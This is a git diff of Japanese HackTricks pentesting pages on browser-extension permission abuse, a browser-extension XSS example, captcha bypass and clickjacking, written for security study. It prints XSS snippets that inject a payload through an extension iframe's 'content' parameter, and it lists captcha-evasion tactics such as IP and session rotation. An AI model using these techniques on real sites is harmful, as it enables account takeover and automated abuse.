`tabs.create()`の可能なパラメータを見ると、`window.open()`が制御できる範囲をはるかに超えることに気付くでしょう。FirefoxはこのAPIで`data:` URIの使用を許可していませんが、Chromeにはそのような保護がありません。**このようなURIのトップレベルでの使用は** [**フィッシングに悪用されたため禁止されています**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**。** `tabs.create()`の可能なパラメータを見ると、`window.open()`が制御できる範囲をはるかに超えることに気付くでしょう。FirefoxはこのAPIで`data:` URIの使用を許可していませんが、Chromeにはそのような保護がありません。**このようなURIのトップレベルでの使用は** [**フィッシングに悪用されたため禁止されています**](https://bugzilla.mozilla.org/show\_bug.cgi?id=1331351)**。**
[**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)は`tabs.create()`に非常に似ていますが、**既存のタブを変更**します。したがって、悪意のある拡張機能は、例えば広告ページを任意のタブに任意に読み込むことができ、対応するタブをアクティブにすることもできます。 [**tabs.update()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/update)は`tabs.create()`に非常に似ていますが、**既存のタブを変更**します。したがって、悪意のある拡張機能は、例えば広告ページを任意のタブに任意に読み込むことができ、対応するタブもアクティブ化できます。
### ウェブカメラ、ジオロケーションなど <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a> ### ウェブカメラ、地理位置情報など <a href="#webcam-geolocation-and-friends" id="webcam-geolocation-and-friends"></a>
おそらく、Webサイトは特別な権限をリクエストできることを知っているでしょう。たとえば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)へのアクセスなどです。これは悪用の可能性が高い機能であり、ユーザーは毎回これを許可する必要があります。 おそらく、ウェブサイトは特別な権限をリクエストできることを知っています。例えば、ウェブカメラ(ビデオ会議ツール)や地理的位置(地図)へのアクセスを要求することができます。これは濫用の可能性がある機能であり、ユーザーは毎回これを許可する必要があります。
{% hint style="danger" %} {% hint style="danger" %}
しかし、ブラウザ拡張機能では異なります。**ブラウザ拡張機能が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、度だけ許可を求めるだけで済みます** しかし、ブラウザ拡張機能では異なります。**ブラウザ拡張機能が** [**ウェブカメラやマイクへのアクセスを要求する場合**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**、1度だけ許可を求めるだけで済みます**
{% endhint %} {% endhint %}
通常、拡張機能はインストール直後にこれを行います。このプロンプトが受け入れられると、**ユーザーが拡張機能と対話していない場合でも、いつでもウェブカメラにアクセスできます**。はい、ユーザーは拡張機能が本当にウェブカメラへのアクセスが必要かどうかを確認した後にこのプロンプトを受け入れます。しかし、その後は、拡張機能が何も秘密裏に記録しないことを信頼する必要があります。 通常、拡張機能はインストール直後にこれを行います。このプロンプトが受け入れられると、**ユーザーが拡張機能と対話していなくても、いつでもウェブカメラにアクセスできます**。はい、ユーザーは拡張機能が本当にウェブカメラへのアクセスが必要かどうかを確認した後にこのプロンプトを受け入れます。しかし、その後は、拡張機能が何も秘密裏に記録しないことを信頼する必要があります。
[正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation)や[クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API)へのアクセスについては、明示的な許可は不要です。**拡張機能は、マニフェストの** [**permissionsエントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に`geolocation`または`clipboard`を追加するだけで、これらのアクセス権限が暗黙的に付与されます。** したがって、これらの権限を持つ悪意のあるまたは侵害された拡張機能は、あなたの移動履歴を作成したり、コピーされたパスワードを監視したりすることができますが、あなたが何も気づかないでします。 [正確な地理的位置](https://developer.mozilla.org/en-US/docs/Web/API/Geolocation)や[クリップボードの内容](https://developer.mozilla.org/en-US/docs/Web/API/Clipboard\_API)にアクセスする場合、明示的な許可は不要です。**拡張機能は、単にマニフェストの** [**permissionsエントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に`geolocation`または`clipboard`を追加するだけで、これらのアクセス権限が暗黙的に付与されます**。したがって、これらの特権を持つ悪意のあるまたは侵害された拡張機能は、あなたの移動履歴を作成したり、コピーされたパスワードを監視したりすることができ、あなたが何も気づかないまます。
[**history**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **キーワードを** [**permissionsエントリ**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) **に追加すると、** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history) **へのアクセスが許可されます。** これにより、ユーザーの全体の閲覧履歴を待つことなく一度に取得できます。 [**history**]キーワードを[permissionsエントリ](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions)に追加すると、[**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history)への**アクセス**が許可されます。これにより、ユーザーの全体の閲覧履歴を待つことなく一度に取得できます。
**`bookmarks`** **権限**には同様の悪用の可能性があり、これにより、[**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks) **を介してすべてのブックマークを読み取ることができます。** **`bookmarks`** **permission**には同様の悪用の可能性があり、これにより、[**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks)を介してすべてのブックマークを読み取ることができます。
### ストレージ権限 <a href="#the-storage-permission" id="the-storage-permission"></a> ### ストレージ権限 <a href="#the-storage-permission" id="the-storage-permission"></a>
@ -109,4 +109,17 @@ HackTricks をサポートする他の方法:
### その他の権限 ### その他の権限
Chromiumブラウザ拡張機能がリクエストできる[**権限の完全なリストはこちらで確認できます**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) 、Firefox拡張機能の[**完全なリストはこちらで確認できます**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。** [**Chromiumブラウザ拡張機能がリクエストできる権限の完全なリストはこちらで確認できます**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions)、[**Firefox拡張機能の完全なリストはこちらで確認できます**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api\_permissions)**。**
## 予防 <a href="#why-not-restrict-extension-privileges" id="why-not-restrict-extension-privileges"></a>
Googleの開発者ポリシーは、拡張機能が機能に必要以上の特権を要求することを明示的に禁止しており、過剰な権限要求を緩和しています。ブラウザ拡張機能がこの境界を越えた例では、ブラウザ自体と一緒に配布された場合があります。
ブラウザは、拡張機能の特権の誤用をさらに抑制することができます。たとえば、Chromeの[tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/)および[desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) APIは、スクリーン録画に使用され、悪用を最小限に抑えるよう設計されています。tabCapture APIは、拡張機能アイコンをクリックするなどの直接のユーザー操作を介してのみアクティブ化でき、desktopCaptureは、ウィンドウの録画に対してユーザーの確認が必要で、秘密裏に録画される活動を防止します。
ただし、セキュリティ対策を強化すると、拡張機能の柔軟性とユーザーフレンドリー性が低下することがよくあります。[activeTab権限](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission)は、このトレードオフを示しています。これは、拡張機能がインターネット全体にホスト権限を要求する必要をなくし、ユーザーによる明示的なアクティベーションにより現在のタブのみにアクセスできるようにするために導入されました。このモデルは、ユーザーが起動アクションを必要とする拡張機能には効果的ですが、自動的または予防的なアクションを必要とする拡張機能には適しておらず、便利さと即時応答性が損なわれる可能性があります。
## **参考文献**
* [https://palant.info/2022/08/17/impact-of-extension-privileges/](https://palant.info/2022/08/17/impact-of-extension-privileges/)
* [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)

View file

@ -1,22 +1,22 @@
# BrowExt - XSSの例 # BrowExt - XSS Example
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法: HackTricks をサポートする他の方法:
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
- [**公式PEASSHackTricksのスウェグ**](https://peass.creator-spring.com)を手に入れ * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手す
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけ * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、当社の独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) コレクションを発見す
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする**
- **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングテクニックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github リポジトリに提出する
</details> </details>
## クロスサイトスクリプティングXSSによるIframe ## Cross-Site Scripting (XSS) through Iframe
このセットアップでは、**コンテンツスクリプト**が実装され、クエリパラメータを含むURLをIframeのソースとして組み込んでいます: このセットアップでは、**コンテンツスクリプト**が実装され、クエリパラメータを含むURLをIframeのソースとして取り込んだIframeがインスタンス化されます:
```javascript ```javascript
chrome.storage.local.get("message", result => { chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") + let constructedURL = chrome.runtime.getURL("message.html") +
@ -25,7 +25,7 @@ let constructedURL = chrome.runtime.getURL("message.html") +
frame.src = constructedURL; frame.src = constructedURL;
}); });
``` ```
以下は、`message.html` という公開されている HTML ページで、URL のパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています: 以下は、ファイル**`message.html`**にアクセス可能なHTMLページで、URLのパラメータに基づいて動的にコンテンツをドキュメントボディに追加するように設計されています:
```javascript ```javascript
$(document).ready(() => { $(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search); let urlParams = new URLSearchParams(window.location.search);
@ -37,7 +37,7 @@ chrome.tabs.create({ url: destinationURL });
}); });
}); });
``` ```
悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースの`content`パラメータを変更して**XSSペイロード**を導入します。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます 悪意のあるスクリプトが敵対者のページで実行され、Iframeのソースの`content`パラメータが変更され、**XSSペイロード**が導入されます。これは、有害なスクリプトを含むようにIframeのソースを更新することで達成されます
```javascript ```javascript
setTimeout(() => { setTimeout(() => {
let targetFrame = document.querySelector("iframe").src; let targetFrame = document.querySelector("iframe").src;
@ -52,9 +52,9 @@ document.querySelector("iframe").src = maliciousURL;
```json ```json
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';" "content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
``` ```
以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にする。 以下は、JavaScriptの実行を許可し、システムをXSS攻撃に対して脆弱にすることができます
XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースを`content`パラメータとして有害なスクリプトを含めることです XSSを引き起こす別のアプローチは、Iframe要素を作成し、そのソースを`content`パラメータとして有害なスクリプトを含めることです
```javascript ```javascript
let newFrame = document.createElement("iframe"); let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" + newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
@ -65,7 +65,7 @@ document.body.append(newFrame);
この例は、[元の投稿の解説](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取得されました。 この例は、[元の投稿の解説](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)から取得されました。
問題の核は、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティングXSS脆弱性から発生します。問題のあるJavaScriptは、**`bookmarks.js`**の一部で以下に詳細が記載されています。 問題の核となるのは、**`/html/bookmarks.html`**にあるDOMベースのクロスサイトスクリプティングXSS脆弱性です。問題のJavaScriptは、**`bookmarks.js`**の一部で以下に詳細が記載されています。
```javascript ```javascript
$('#btAdd').on('click', function() { $('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val(); var bookmarkName = $('#txtName').val();
@ -82,9 +82,9 @@ $('section.bookmark-container .existing-items').append(bookmarkItem);
persistData(); persistData();
}); });
``` ```
このスニペットは、**`txtName`** 入力フィールドから **`value`** を取得し、HTML を生成するために **文字列連結** を使用し、それを jQuery `.append()` 関数を使って DOM に追加します。 このコードスニペットは、**`txtName`** 入力フィールドから **`value`** を取得し、HTML を生成するために文字列連結を使用し、それをjQueryの `.append()` 関数を使ってDOMに追加します。
通常、Chrome 拡張機能のコンテンツセキュリティポリシーCSPこのような脆弱性を防ぎます。ただし、**'unsafe-eval' で CSP の緩和** と jQuery の DOM 操作メソッドの使用(これは [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用してスクリプトを DOM に挿入する際に [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡す)により、依然として攻撃が可能です。 通常、Chrome 拡張機能のコンテンツセキュリティポリシーCSPはこのような脆弱性を防ぎます。ただし、**'unsafe-eval' でのCSP緩和**とjQueryのDOM操作メソッドの使用これはDOM挿入時にスクリプトを [`eval()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) に渡すために [`globalEval()`](https://api.jquery.com/jquery.globaleval/) を使用)により、依然として攻撃が可能です。
この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存しますページを訪れ、XSS ペイロードを入力し、「追加」ボタンをアクティブ化する必要があります。 この脆弱性は重要ですが、その悪用は通常、ユーザーの操作に依存しますページを訪れ、XSS ペイロードを入力し、「追加」ボタンをアクティブ化する必要があります。
@ -114,7 +114,7 @@ Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -2,52 +2,52 @@
<details> <details>
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見る
* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する * **ハッキングトリックを共有するために、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
</details> </details>
## Captcha Bypass ## Captcha Bypass
**サーバーテスト**中のcaptchaを**バイパス**してユーザー入力機能を自動化するために、さまざまな技術が利用されます。目的はセキュリティを妨害することではなく、テストプロセスを効率化することです。以下は戦略の包括的なリストです: **サーバーテスト**中のcaptchaを**バイパス**してユーザー入力機能を自動化するために、さまざまなテクニックを使用できます。目的はセキュリティを妨げることではなく、テストプロセスを効率化することです。以下は戦略の包括的なリストです:
1. **パラメータ操作**: 1. **パラメータ操作**
* **Captchaパラメータを省略**captchaパラメータを送信しないようにします。HTTPメソッドをPOSTからGETに変更したり、他の動詞に変更したり、フォームデータとJSONの間を切り替えるなど、実験してみてください。 * **Captchaパラメータを省略**captchaパラメータを送信しないようにします。HTTPメソッドをPOSTからGETに変更したり、他の動詞に変更したり、フォームデータとJSONの間を切り替えるなど、実験してみてください。
* **空のCaptchaを送信**captchaパラメータを空のままにしてリクエストを送信します。 * **空のCaptchaを送信**captchaパラメータを空のままにしてリクエストを送信します。
2. **値の抽出と再利用**: 2. **値の抽出と再利用**
* **ソースコードの検査**ページのソースコード内でcaptcha値を検索します。 * **ソースコードの検査**ページのソースコード内でcaptcha値を検索します。
* **Cookieの分析**cookieを調べて、captchaの値が保存および再利用されているかどうかを確認します。 * **Cookieの分析**cookieを調べて、captcha値が保存されて再利用されているかどうかを確認します。
* **古いCaptchaの値を再利用**以前に成功したcaptchaの値を再利用しようとします。 * **古いCaptcha値の再利用**以前に成功したcaptcha値を再利用しようとします。
* **セッションの操作**異なるセッションまたは同じセッションIDで同じcaptcha値を使用してみてください。 * **セッションの操作**異なるセッションまたは同じセッションIDで同じcaptcha値を使用してみてください。
3. **自動化と認識**: 3. **自動化と認識**
* **数学的なCaptcha**captchaに数学演算が含まれている場合、計算プロセスを自動化します。 * **数学的なCaptcha**captchaに数学演算が関わっている場合、計算プロセスを自動化します。
* **画像認識**: * **画像認識**
* 画像から文字を読み取る必要があるcaptchaの場合、一意の画像の総数を手動またはプログラムで特定します。セットが限られている場合、各画像をそのMD5ハッシュで識別できるかもしれません。 * 画像から文字を読み取る必要があるcaptchaの場合、一意の画像の総数を手動またはプログラムで特定します。セットが限られている場合、各画像をそのMD5ハッシュで識別できるかもしれません。
* [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)などのOptical Character RecognitionOCRツールを使用して、画像からの文字読み取りを自動化します。 * [Tesseract OCR](https://github.com/tesseract-ocr/tesseract)などのOptical Character RecognitionOCRツールを使用して、画像からの文字読み取りを自動化します。
4. **追加の技術**: 4. **追加のテクニック**
* **レート制限テスト**:アプリケーションが一定期間内の試行回数や提出回数を制限しているかどうか、およびこの制限をバイパスまたはリセットできるかどうかを確認します。 * **レート制限テスト**:アプリケーションが一定期間内の試行回数や送信回数を制限しているかどうか、この制限をバイパスしたりリセットしたりできるかどうかを確認します。
* **サードパーティサービス**自動化されたcaptcha認識と解決を提供するcaptcha解決サービスやAPIを利用します。 * **サードパーティサービス**自動化されたcaptcha認識と解決を提供するcaptcha解決サービスやAPIを利用します。
* **セッションとIPのローテーション**サーバーによる検出とブロックを回避するために、セッションIDとIPアドレスを頻繁に変更します。 * **セッションとIPのローテーション**サーバーによる検出とブロックを回避するために、セッションIDとIPアドレスを頻繁に変更します。
* **User-Agentとヘッダーの操作**User-Agentや他のリクエストヘッダーを変更して、異なるブラウザやデバイスを模倣します。 * **User-Agentとヘッダーの操作**User-Agentや他のリクエストヘッダーを変更して、異なるブラウザやデバイスを模倣します。
* **音声Captchaの分析**音声Captchaオプションが利用可能な場合、音声-to-textサービスを使用してCaptchaを解釈および解決します。 * **音声Captchaの分析**音声Captchaオプションが利用可能な場合、音声テキスト変換サービスを使用してCaptchaを解釈して解決します。
## Captchaをバイパスするためのオンラインサービス ## Captchaをバイパスするためのオンラインサービス
### [Capsolver](https://www.capsolver.com/) ### [Capsolver](https://www.capsolver.com/)
Capsolverの自動captchaソルバーは、**最も手頃で迅速なcaptcha解決ソリューション**を提供します。簡単な統合オプションを使用して、数秒で最高の結果を得ることができます。 Capsolverの自動captchaソルバーは、**最も手頃で迅速なcaptcha解決ソリューション**を提供します。簡単な統合オプションを使用して、数秒で最高の結果を得るためにプログラムに迅速に組み込むことができます。
Capsolverは99.15%の成功率で**1分間に10M以上のcaptchaを解答**できます。これは、あなたの自動化またはスクレイプが99.99%のアップタイムを持つことを意味します。予算が大きい場合は、captchaパッケージを購入できます。 成功率99.15%のCapsolverは、**1分間に10M以上のcaptchaを解答**できます。これは、自動化またはスクレイプが99.99%のアップタイムを持つことを意味します。予算が大きい場合は、captchaパッケージを購入できます。
市場で最も低価格で、reCAPTCHA V2、reCAPTCHA V3、hCaptcha、hCaptcha Click、reCaptcha Click、Funcaptcha Click、FunCaptcha、datadome captcha、aws captcha、picture-to-text、binance / coinmarketcap captcha、geetest v3 / v3など、さまざまなソリューションを入手できます。このサービスでは、**0.1秒が測定された中で最も遅い速度**です。 市場で最も低価格で、reCAPTCHA V2、reCAPTCHA V3、hCaptcha、hCaptcha Click、reCaptcha Click、Funcaptcha Click、FunCaptcha、datadome captcha、aws captcha、picture-to-text、binance / coinmarketcap captcha、geetest v3 / v3など、さまざまなソリューションを提供しています。このサービスでは、**0.1秒が測定された中で最も遅い速度**です。

View file

@ -6,34 +6,34 @@
HackTricksをサポートする他の方法 HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する * [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で私をフォローする:[**@carlospolopm**](https://twitter.com/carlospolopm)**。** * **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
- **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。** * **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details> </details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\ [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによってパワードされた**ワークフローを簡単に構築**および**自動化**します。\
今すぐアクセスを取得 今すぐアクセスしてください
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## Clickjackingとは ## Clickjackingとは
Clickjacking攻撃では、**ユーザー**が**見えない**か、別の要素として偽装された**Webページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。 Clickjacking攻撃では、**ユーザー**が**見えない**か、異なる要素として偽装された**ウェブページ上の要素**を**クリック**するように**騙されます**。この操作により、ユーザーにとって意図しない結果が生じる可能性があります。例えば、マルウェアのダウンロード、悪意のあるWebページへのリダイレクト、資格情報や機密情報の提供、資金の送金、オンラインでの製品購入などが挙げられます。
### フォームの事前入力トリック ### フォームの事前入力トリック
時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋めることができます**。攻撃者はこの動作を悪用して、任意のデータでフォームを埋め、クリックジャッキングペイロードを送信してユーザーがボタンを押すようにすることがあります。 時々、**ページを読み込む際にGETパラメータを使用してフォームのフィールドの値を埋める**ことができます。攻撃者はこの動作を悪用してフォームに任意のデータを入力し、クリックジャッキングペイロードを送信してユーザーがボタンを押すように誘導することがあります。
### ドラッグ&ドロップでフォームにデータを入力 ### ドラッグ&ドロップでフォームにデータを入力
ユーザーに**フォームを記入**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**するように依頼することで、制御されたデータを書き込むことができます。[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)を参照してください。 ユーザーに**フォームに入力**してもらいたいが、特定の情報(例:メールアドレスや特定のパスワード)を直接求めたくない場合は、ユーザーに**ドラッグ&ドロップ**するように求めることで、制御されたデータを書き込むことができます。[**この例**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/)を参照してください。
### 基本的なペイロード ### 基本的なペイロード
```markup ```markup
@ -110,10 +110,10 @@ background: #F00;
``` ```
### XSS + Clickjacking ### XSS + Clickjacking
**XSS攻撃を特定し、ユーザーがクリックする必要がある**要素があり、かつページが**Clickjackingに脆弱**である場合、ユーザーをだましてボタン/リンクをクリックさせることができます。\ **XSS攻撃**を特定し、**ユーザーがクリックする必要がある**要素がある場合、XSSを**トリガー**し、ページが**Clickjackingに脆弱**である場合、ユーザーをだましてボタン/リンクをクリックさせることができます。\
例:\ 例:\
_アカウントの一部のプライベート詳細**あなただけが設定および読み取り可能**)に**self XSS**を見つけました。これらの詳細を設定するための**フォーム**が**Clickjacking****脆弱**であり、GETパラメータで**フォーム**を**事前に埋め込む**ことができます。_\ _アカウントの一部のプライベート詳細**あなただけが設定および読み取り可能**)に**self XSS**を見つけました。これらの詳細を設定する**フォーム**が**Clickjackingに脆弱**であり、GETパラメータで**フォーム**を**事前に埋め込む**ことができます。_\
